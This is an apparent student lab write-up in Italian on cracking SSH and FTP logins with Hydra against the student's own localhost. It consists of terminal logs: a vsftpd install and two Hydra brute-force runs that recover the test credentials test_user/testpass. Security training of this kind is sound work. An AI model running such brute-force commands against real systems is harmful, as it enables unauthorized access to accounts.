Esercitazione W41D4

Ilaria Pedrelli

Authentication cracking con Hydra

```
┌──(kali㉿kali)-[~]
└─$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:oQpO43PvW6YnKhIiE1DPeWTNRDs2F+d329QSdLpCS/8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(test_user㉿kali)-[~]
└─$
```

```
┌──(kali㉿kali)-[~]
└─$ hydra -L /home/kali/Desktop/test_user.txt -P /home/kali/Desktop/test_psw.txt 127.0.0.1 -V ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-14 16:32:27
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:2/p:1), ~1 try per task
[DATA] attacking ssh://127.0.0.1:22/
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testpass" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "" - pass "testpass" - 2 of 2 [child 1] (0/0)
[22][ssh] host: 127.0.0.1   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-14 16:32:30
```

```
┌──(kali㉿kali)-[~]
└─$ sudo apt install vsftpd
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 1484 not upgraded.
Need to get 143 kB of archives.
After this operation, 353 kB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b3 [143 kB]
Fetched 143 kB in 1s (180 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 405402 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b3_amd64.deb ...
Unpacking vsftpd (3.0.3-13+b3) ...
Setting up vsftpd (3.0.3-13+b3) ...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.11.2-3) ...
Processing triggers for kali-menu (2023.4.3) ...
┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd start
```

```
┌──(test_user㉿kali)-[~]
└─$ ftp test_user@192.168.50.100
Connected to 192.168.50.100.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

```
┌──(kali㉿kali)-[~]
└─$ hydra -L /home/kali/Desktop/test_user.txt -P /home/kali/Desktop/test_psw.txt 127.0.0.1 -V ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-14 16:53:44
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:2/p:1), ~1 try per task
[DATA] attacking ftp://127.0.0.1:21/
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testpass" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "" - pass "testpass" - 2 of 2 [child 1] (0/0)
[21][ftp] host: 127.0.0.1   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-14 16:53:46
```